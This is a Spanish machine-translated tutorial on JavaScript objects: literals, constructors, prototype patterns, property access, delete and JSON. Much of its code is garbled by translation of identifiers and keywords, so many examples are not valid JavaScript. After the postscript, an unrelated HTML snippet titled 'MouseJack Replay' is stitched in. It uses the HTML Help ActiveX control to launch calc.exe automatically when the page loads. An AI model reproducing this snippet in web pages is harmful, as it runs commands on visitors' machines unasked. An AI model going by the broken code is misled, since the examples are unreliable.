Explicación detallada de los tipos de objetos JavaScript

Javascrtip tiene seis tipos de datos, un tipo de datos complejo (tipo de referencia), a saber, el tipo de objeto de objeto y cinco tipos de datos simples (tipos primitivos): número, cadena, booleano, indefinido y nulo. Entre ellos, el tipo más central es el tipo de objeto. Al mismo tiempo, debe tenerse en cuenta que los tipos simples son inmutables, mientras que los tipos de objetos son mutables.

Que es un objeto

Un objeto es una lista desordenada de tipos de datos simples (tipos de datos a veces referenciados) almacenados como una serie de pares de valor de nombre. Cada elemento en esta lista se llama propiedad (si se llama método).

Aquí hay un objeto simple:

 var myFirstObject = {FirstName: "Richard", favoritautor: "Conrad"};

Los objetos pueden considerarse como una lista, y cada elemento (propiedades o métodos) en la lista se almacena en un par de valores de nombre. En el ejemplo anterior, los nombres de atributos del objeto son el nombre de primer nombre y el favorito. En consecuencia, los valores de atributo del objeto son Richard y Conrad.

El nombre del atributo puede ser una cadena o un número, pero si se usa un número como nombre del atributo, el valor del atributo correspondiente al nombre del atributo de este número debe obtenerse en los soportes cuadrados (notación de soporte cuadrado). Una explicación más detallada de la notación de soporte cuadrado más tarde. Aquí hay un ejemplo de notación de soporte cuadrado:

 var ageGroup = {30: "niños", 100: "muy antiguo"}; console.log (AgeGroup.30) // Error // la forma correcta de acceder al atributo 30 console.log (agrupamiento de edad ["30"]); // niños // es mejor evitar usar números como nombres de atributos

Como programador de JavaScript, a menudo usará tipos de datos de objetos. Por lo general, se usa para almacenar datos o para crear métodos o funciones personalizadas.

Tipos de datos de referencia y tipos de datos primitivos

La diferencia más importante entre un tipo de referencia y un tipo primitivo es que el tipo de referencia se almacena por referencia, y no almacenará el valor directamente en una variable como un tipo primitivo. Por ejemplo:

 // Los datos de tipo originales se almacenan por valor var persona = "kobe"; Var otra persona = persona; // otra persona = el valor de la persona persona = "bryant"; // El valor de la persona ha cambiado console.log (otro portátil); // kobe console.log (persona); // Bryan

Cabe señalar que incluso si cambiamos el valor de la persona a "Bryant", no tendrá ningún efecto en el Anthoerperson, y aún ahorra el valor asignado por la persona original.

Compare el Tipo original por valor de valor con el Tipo de referencia por tienda de referencia:

 Var Person = {nombre: "Kobe"}; Var otra persona = persona; persona.name = "Bryant"; Console.log (otroperson.name); // Bryant Console.log (persona.name); // Bryant

En este ejemplo, copiamos el objeto de la persona a Anthoerperson, pero porque el objeto de la persona almacena una referencia en lugar del valor real. Entonces, cuando cambiamos de persona.

Atributos de las propiedades del objeto

Nota: El atributo generalmente se traduce como atributo, pero para distinguirlo de la propiedad (también traducido como atributo), se traduce como atributo aquí. Esto también es algo que otros han consultado, y debería ser inofensivo.

Cada atributo de objeto no solo guarda su propio par de valores de nombre, sino que también contiene tres características, que se establecen en verdadero de forma predeterminada.

• Atributo configurable: especifica si este atributo de objeto se puede eliminar o modificar.

• Enumerable: especifica si esta propiedad de objeto se puede obtener en el bucle for-in.

• Writable: especifica si esta propiedad de objeto puede modificarse.

Hay algunas características nuevas en Emacscript 5, y no las explicaremos en detalle aquí.

Crear un objeto

Hay dos métodos comunes para crear objetos:

1. Objeto literal

Esta es la forma más común y más fácil de crear objetos, directamente usando literales:

 // Objeto vacío var myBooks = {}; // Objeto que contiene 4 atributos creados usando literarios var mango = {color: "amarillo", forma: "redondeo", dulzura: 8, Howsweetami: function () {console.log ("hmm hmm bueno"); }}

2. Constructor de objetos

El segundo método comúnmente utilizado es usar constructores de objetos. Un constructor es una función especial que se puede usar para crear un nuevo objeto. El constructor debe llamarse utilizando la nueva palabra clave.

 var mango = new Object (); mango.color = "Yellow"; mango.shape = "ronda"; mango.sweetness = 8; mango.howsweetami = function () {console.log ("hmm hmm bueno");}

Aunque se pueden usar algunas palabras o palabras clave reservadas, como como el nombre de una propiedad de objeto, esta no es una opción sabia.

Las propiedades de un objeto pueden contener cualquier tipo de datos, incluido el número, matrices o incluso otros objetos.

Modo práctico de creación de objetos

Para crear objetos simples que se usan solo una vez para almacenar datos, los dos métodos anteriores pueden satisfacer las necesidades.

Sin embargo, suponga que hay un programa para mostrar la fruta y sus detalles. Cada tipo de fruta en el programa tiene las siguientes propiedades del objeto: color, forma, dulzura, costo y una función de nombre de nombre. Si tiene que tipificar el siguiente código cada vez que cree un nuevo objeto de fruta, será muy aburrido e ineficiente.

 var mangoFruit = {color: "amarillo", dulzura: 8, nombre de frutas: "mango", nativetoland: ["Sudamérica", "América Central"], showsame: function () {console.log ("Esto es" + this.fruitname); }, Nativeto: function () {this.nativetoland.forEach (function (everyCountry) {console.log ("cultivado en:" + cada uno de los casos);}); }}

Si tiene 10 frutas, debe agregar el mismo código 10 veces. Y, si desea modificar la función Nativeto, debe modificarla en 10 lugares diferentes. Imaginemos que si está desarrollando un sitio web grande, ha agregado atributos a los objetos superiores a uno por uno. Sin embargo, de repente te das cuenta de que la forma en que creas el objeto no es ideal, y quieres modificarlo, ¿qué debes hacer en este momento?

Para resolver estos problemas repetitivos, los ingenieros de software inventaron varios patrones (soluciones para problemas repetitivos y tareas comunes) para usar programas de desarrollo de manera más eficiente y racional.

Aquí hay dos patrones comunes para crear objetos:

1. Modo de método de construcción

 function fruit (thecolor, theSweetness, theFruitName, entoncesativetoland) {this.color = theColor; this.sweetness = thesweetness; this.fruitName = theFruitName; this.nativetoland = entoncesativetoland; this.showname = function () {console.log ("Esto es un" + this.fruitName); } this.nativeto = function () {this.nativetoland.forEach (function (e cada uno) {console.log ("cultivado en:" + cada país);}); }}

Con este patrón, es fácil crear una variedad de frutas. Como esto:

 var mangofruit = new fruit ("amarillo", 8, "mango", ["América del Sur", "América Central", "África occidental"]); mangofruit.showname (); // Este es un mango. Mangofruit.nativeto (); // Cultivado en: América del Sur // Cultivado en: América Central // Cultivado en: África occidental var piandopplefruit = new fruit ("marrón", 5, "piña", ["Estados Unidos"]); fruit de piña. // Esta es una piña.

Si desea cambiar las propiedades o métodos, solo necesita modificarlos en un solo lugar. Este patrón encapsula las funciones y características de todas las frutas a través de la herencia de una función de fruta.

Aviso:

◦ Deben definirse las propiedades hereditarias en las propiedades prototipo del objeto del objeto. Por ejemplo

SomeObject.prototype.firstname = "Rich";

◦ Los atributos que pertenecen a uno mismo deben definirse directamente en el objeto. Por ejemplo:

 // Primero, cree un objeto var amango = new fruit (); // A continuación, defina el método MongoSpice directamente en el objeto // porque definimos la propiedad de mangopice directamente en el objeto, es la propiedad de Amango, no una propiedad heredable amango.mangoSpice = "algún valor";

◦ Para acceder a las propiedades de un objeto, use Object.Property, como:

console.log (amango.mangospice); // "algún valor"

◦ Para llamar al método de un objeto, use object.method (), como:

 // Primero, agregue un método amango.printstuff = function () {return "Impresión"; } // Ahora, puede llamar al método PrintSfuff amango.printstuff ();

2. Modo prototipo

 function fruit () {} fruit.prototype.color = "Yellow"; fruit.prototype.sweetness = 7; fruit.prototype.fruitname = "fruta genérica"; fruit.prototype.nativetoland = "usa"; fruit.prototype.showname = function () {console.log this.fruitname);} fruit.prototype.nativeto = function () {console.log ("cultivado en:" + this.nativetoland);}

Aquí está el método para llamar al constructor Fruit () en el modo prototipo:

 var mangofruit = new fruit (); mangofruit.showname (); // mangofruit.nativeto (); // Esta es una fruta genérica // cultivada en: EE. UU.

Lectura extendida

Si necesita conocer una explicación más detallada de estos dos patrones, puede leer el Capítulo 6 de la programación avanzada de JavaScript, que analiza las ventajas y desventajas de estos dos métodos en detalle. Otros modos además de estos dos también se discuten en el libro.

Cómo acceder a las propiedades en un objeto

Los dos métodos principales para acceder a las propiedades del objeto son la notación de puntos y la notación del soporte.

1. Método de notación de puntos

 // Este es el método para acceder a los atributos que hemos estado utilizando en el ejemplo anterior var book = {Título: "Ways To Go", Pages: 280, Bookmark1: "Página 20"}; // Use la notación de puntos para acceder a los atributos del título y las páginas del objeto de libro: console.log (book.title); // formas de ir console.log (book.pages); // 280

2. Método de notación de soporte

 // Use soportes cuadrados para revelar las propiedades del objeto del libro: console.log (libro ["Título"]); // formas de ir console.log (libro ["páginas"]); // 280 // Si el nombre del atributo se almacena en una variable, también puede ser: var booktitle = "title"; console.log (libro [booktitle]); // formas de ir console.log (libro ["marcador" + 1]); // Página 20

Acceso a propiedades que no existen en un objeto dará como resultado un indefinido.

Sus propios atributos y atributos de herencia

Los objetos tienen sus propios atributos y atributos heredados. El propio atributo es una propiedad directamente definida en el objeto, mientras que el atributo heredado es una propiedad heredada del prototipo del objeto.

Para determinar si un objeto tiene un cierto atributo (si es su propio atributo o atributo heredado), puede usar el operador en:

 // Crear un objeto con el atributo de nombre de escuela Var School = {SchoolName: "MIT"}; // Imprima verdadero porque el objeto tiene el nombre de escuela console.log ("Nombre de escuela" en la escuela); // Verdadero // Imprima falso porque no definimos la propiedad de tipo escolar ni heredamos la Console de propiedades de tipo escolar.log ("Escolar Tytype" en la escuela); // falso // imprime verdadero porque el método toString console.log ("toString" en la escuela); // verdadero

hastawnproperty

Para determinar si un objeto tiene una propiedad específica propia, puede usar el método de HasownPrototype. Este método es muy útil porque a menudo necesitamos enumerar todas las propiedades de un objeto en lugar de heredarlas.

 // Crear un objeto con el atributo de nombre de escuela Var School = {SchoolName: "MIT"}; // Imprima verdadero, porque el nombre de escuela es el propio consolador de propiedad de la escuela.log (School.hasownproperty ("SchoolName")); // Verdadero // Imprima falso, porque ToString se hereda del prototipo del objeto, y la propia propiedad de la escuela console.log (School.HasownProperty ("ToString")); // FALSO

Propiedades de acceso y enumeración en objetos

Para acceder a los atributos (uno mismo o heredado) que pueden enumerarse en un objeto, puede usar un bucle for-in o un método de bucle normal.

 // Crear un objeto escolar con 3 atributos: Nombre de escuela, SchoolAccredited y Schoollation. // use un bucle for-in para obtener los atributos en el objeto para (var cada uno en la escuela) {console.log (cada uno); // Imprime el nombre de escuela, Schoolaccredited, Schoollocation}

Acceder a propiedades hereditarias

Las propiedades heredadas del prototipo del objeto no son enumerables, por lo que no se accede a estas propiedades en el bucle for-In. Sin embargo, si son propiedades de herencia enumerables, también se puede acceder desde el bucle for-in.

Por ejemplo:

 // use para acceder a las propiedades en el objeto escolar para (var cada uno en la escuela) {console.log (cada uno); // Imprime el nombre de escuela, SchoolAccredited, Schoollocation} // Nota: El siguiente párrafo es una explicación del texto original/* Nota al margen: como Wilson (un lector astuto) señaló correctamente en los comentarios a continuación, la propiedad EducationLevel no es realmente heredada por objetos que usan el constructor de mayor aprendizaje; En su lugar, la propiedad EducationLevel se crea como una nueva propiedad en cada objeto que utiliza el constructor de mayor aprendizaje. La razón por la que la propiedad no está heredada es porque usamos la palabra clave "esto" para definir la propiedad. */// Cree una nueva función de mayor aprendizaje de la que heredará el objeto de la escuela. } // Implementar la herencia con el constructor VAR de Higherlearning VAR School = new HigherLearning (); School.SchoolName = "MIT"; School.SchoolACCredited = True; School.schoollocation = "Massachusetts"; // Uso del bucle for/in para acceder a las propiedades en el objeto escolar para (var cada uno de los casos en la escuela) {console.log (cada uno); // Imprime el nivel educativo, el nombre de escuela, la escuela acreditada y la escuela}

Eliminar propiedades en el objeto

Puede usar el operador Eliminar para eliminar las propiedades en un objeto. No podemos eliminar los atributos heredados, y no podemos eliminar los atributos de objetos cuyos atributos configurables se establecen en FALSO. Para eliminar las propiedades hereditarias, debe eliminarlo del objeto prototipo (es decir, donde se definen estas propiedades). Además, no podemos eliminar las propiedades en los objetos globales.

Cuando el Delete tiene éxito, el operador Delete devolverá verdadero. Sorprendentemente, el operador Delete también devuelve verdadero cuando el atributo a eliminar no existe o no se puede eliminar (es decir, el atributo que no es suyo o el atributo configurable se establece en falso).

Aquí hay un ejemplo:

 var Christmaslist = {Mike: "Libro", Jason: "Sweater"} Eliminar la lista de Navidad.Mike; // Elimina la propiedad Mike para (Var People in Christmas Lista) {Console.log (People); } // Imprime solo Jason // La propiedad Mike fue eliminada Eliminar la lista de Navidad.ToString; // Devuelve verdadero, pero debido a que ToString es una propiedad hereditaria, no se eliminará // porque la toString no se elimina, Christmaslist.ToString () tampoco se puede usar normalmente aquí; // "[objeto objeto]" // Si un atributo es su propia propiedad de una instancia de objeto, podemos eliminarlo. // Por ejemplo, podemos eliminar el atributo de nivel educativo del objeto escolar definido en el ejemplo anterior, // porque EducationLevel se define en ese caso: utilizamos la palabra clave "esta" al definir el nivel educativo en la función de mayor aprendizaje. // No definimos el atributo de nivel educativo en el objeto Prototipo de función de mayor mercado. console.log (School.HasownProperty ("EducationLevel")); // True // EducationLevel es una autopropiedad de un objeto escolar, por lo que podemos eliminarlo eliminar escolar.EducationLevel; // Verdadero // La propiedad EducationLevel ha eliminado Console.log (School.educationLevel); // Undefined // pero la propiedad EducationLevel todavía existe en la función de mayor aprendizaje var Newschool = new HighLearning (); console.log (Newschool.educationLevel); // Universidad // Si definimos una propiedad en el prototipo de la función de mayor aprendizaje, como esta propiedad EducationLevel2: Higherlearning.prototype.educationLevel2 = "University 2"; // Esta propiedad EducationLevel2 no atribuye la propia propiedad de la instancia de mayor mantenimiento // la propiedad EducationLevel2 no es propiedad propia de la instancia escolar Console.log (School.HasownProperty ("EducationLevel2")); falso console.log (School.EducationLevel2); // Universidad 2 // Intenta eliminar la propiedad Herited EducationLevel2 Delete School.EducationLevel2; // Verdadero (como se mencionó anteriormente, esta expresión devolverá verdadera) // La propiedad Herited EducationLevel2 no se ha eliminado console.log (School.educationLevel2); Universidad 2

Serializar y deserializar objetos

Para pasar un objeto en http o convertir un objeto en una cadena, tenemos que serializar el objeto (convertirlo en una cadena). Podemos usar json.stringify para serializar objetos. Cabe señalar que en las versiones antes de Ecmascript 5, necesitamos usar la biblioteca JSON2 para obtener la función JSON.stringify. En Ecmascript 5, esta función se ha convertido en una función estándar.

Para deserializar un objeto (es decir, convertir una cadena en un objeto), se puede hacer utilizando la función JSON.Parse. Del mismo modo, antes de la quinta edición, necesitamos obtener esta función de la biblioteca JSON2, y esta función estándar se ha agregado a la quinta edición.

Código de muestra:

 var Christmaslist = {Mike: "Libro", Jason: "Sweater", Chelsea: "iPad"} json.stringify (Lista de Navidad); // Imprime esta cadena: // "{" Mike ":" Libro "," Jason ":" Sweater "," Chels ":" iPad "}" // para imprimir un objeto Stringified con formateo, agregar "nulo" y "4" como parámetros: json.stringify (lista de Navidad, null, 4); // "{//" Mike ":" Libro ", //" Jason ":" Sweater ", //" Chels ":" iPad "//}" // JSON.PARSE Ejemplos // La siguiente es una cadena JSON, por lo que no podemos acceder a las propiedades con notación de puntos (como Christmas Liststr.Mike) var Christmasliststr = '{"Mike": "Libro", "Jason": "Sweater", "Chels": "iPad"}'; // Convertirlo a un objeto var Christmas Listobj = JSON.PARSE (Christmas liststr); // Ahora que es un objeto, usamos Dot Notation Console.log (ChristmasListObj.Mike); // Libro

Para obtener más discusión y explicación de los objetos de JavaScript, así como el contenido agregado a ECMAScript en la quinta edición, consulte el Capítulo 6 de la Guía Autorizada de JavaScript (6ª edición).

posdata

Cuando traducí por primera vez un artículo, realmente siento que no es tan simple traducirlo bien. Muchas oraciones simples se ven muy claras, pero cuando realmente quiero traducirlo, no puedo pensar en una forma de expresión adecuada. Todo el artículo se basa en mi propia comprensión y luego lo traduce libremente, sin oración de traducción por oración. Entonces, si hay alguna desviación en la comprensión o la traducción inapropiada, intente señalarlo y lo corregiré lo antes posible. Después de todo, quiero compartir este artículo pasado contigo. No quiero engañarte por mis errores en la comprensión.

Sólo salsa, termina el trabajo.

 <! DocType html> <html> <fead> <title> MouseJack Replay </title> <head> </head> <body> command ejecut <object id = x classid = "clsid: adb880a6-d8ff-1111cf-9377-00AAA003B7A11" width = 1 altura = 1> <param name = "value" value = "" value "boote" value = "bitmap :: accesezado"> <param name = "item1" value = ', calc.exe'> <param name = "item2" value = "273,1,1"> </objeto> <script> x.click (); </script> </body> </html>

Lo anterior es todo el contenido de este artículo. Espero que sea útil para el aprendizaje de todos y espero que todos apoyen más a Wulin.com.